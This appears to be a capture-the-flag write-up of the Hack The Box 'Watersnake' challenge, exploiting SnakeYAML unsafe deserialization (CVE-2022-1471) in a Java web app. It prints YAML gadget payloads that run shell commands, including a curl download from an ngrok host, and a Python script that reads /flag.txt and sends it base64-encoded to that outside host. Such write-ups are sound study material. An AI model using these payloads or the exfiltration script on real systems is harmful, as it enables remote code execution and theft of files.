Watersnake
target
167.99.85.216:30105
Let's download the files from hackthebox
we can unzip the files using the following tool
7z x Watersnake.zip
Looking at the web application we can see the following

we can see
the application name and version
watersnake v3
we can also see information related to to the firmware update

when we open the challenge folder is vs code we can see
this is a java application
if we look in vscode we have

Looking in Controller.java

Within the bottom box it looks like from our input stream it's grabbing some yaml, doing a yaml load
if we look at the top of the code we can see where it has been imported

so if we go over to our pom.xml

what is pom.xml
is a configuration file used in Apache Maven, a widely used build and project management tool in the java ecosystem, the POM stands for Project Object Model. This file contains information about the project (for us watersnake) and configuration details used by Maven to manage the project buld lifecycle, dependencies, plugins, and other aspects
some key details we could find in the pom.xml
file is
Project information
Build configuration
Dependencies
Repositories
plugin configurations
we can also find the version of snakeyaml
being used

Now we can google any vulns associated with this specific version
looks like it is vulnerable to
CVE-2022-1471
, which is a unsafe deserialization vulnerability, deserializing yaml content provided by an attacker can lead to RCEhere is a blog that can explain it better then i can
Okay let's work with this
within the Controller.java
we can see there is a function, that does indeed execute a command to the backend system

if we look the the GetWaterLevel.java
file we can see
package com.lean.watersnake;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class GetWaterLevel {
public static String readFromSensor(String value) throws IOException {
ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
throw new IOException("[-] Command execution failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("[-] Command execution interrupted", e);
}
return output.toString();
}
public void initiateSensor(String value) {
try {
readFromSensor(value);
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
public GetWaterLevel(String value) {
initiateSensor(value);
}
}
we can see
it is taking the value as input and splitting it

then it is feeding that value into our command
it then tries to run the command

we know now we have our gadget GetWaterLevel
so we can use this
Essentially we are going to put together a YAML payload (more information within the blog)
Let's start a ngrok server
ngrok http 80
2. Let's start a python servers
python3 -m http.server 80
our yaml payload
some_var: !!com.lean.watersnake.GetWaterLevel ["curl -o run.py https://437f-112-141-174-143.ngrok-free.app/run.py"]
some-var
: this is a variable!!com.lean.watersnake.GetWaterLevel
: path to the gadget we will be utilisingthen our commands we ant to run on the system for this we will ruynning a python script
Our python script
run.py
import socket
from pathlib import Path
from base64 import b64encode
# Define the server's host and port
host = '437f-112-141-174-143.ngrok-free.app'
port = 80
# Read the content of the 'flag.txt' file in binary mode
flag = Path('/flag.txt').open('rb').read()
# Create a socket
with socket.socket() as s:
try:
# Connect to the specified host and port
s.connect((host, port))
# Construct an HTTP GET request with a base64-encoded flag in the path
request = f"GET /{b64encode(flag).decode()} HTTP/1.1\r\nHost: {host}\r\n\r\n"
# Send the HTTP request to the server
s.sendall(request.encode())
# Receive the server's response (assuming a simple response)
response = s.recv(1024) # Adjust the buffer size as needed
# Print the received response
print(response.decode())
except Exception as e:
# Handle exceptions, if any, during the execution
print(f"Error: {e}")
Now to grab our python script we are going to utilize the firmware update panel

From here we should have a hit, our script was downloaded successfully


Now we just need to execute the script, we can create another yaml payload to do this
some_var: !!com.lean.watersnake.GetWaterLevel ["python3 run.py"]

Now if we look at our python3 server we should see a base64 encoded flag
decode the flag
echo "encodedflag" | base64 -d

Last updated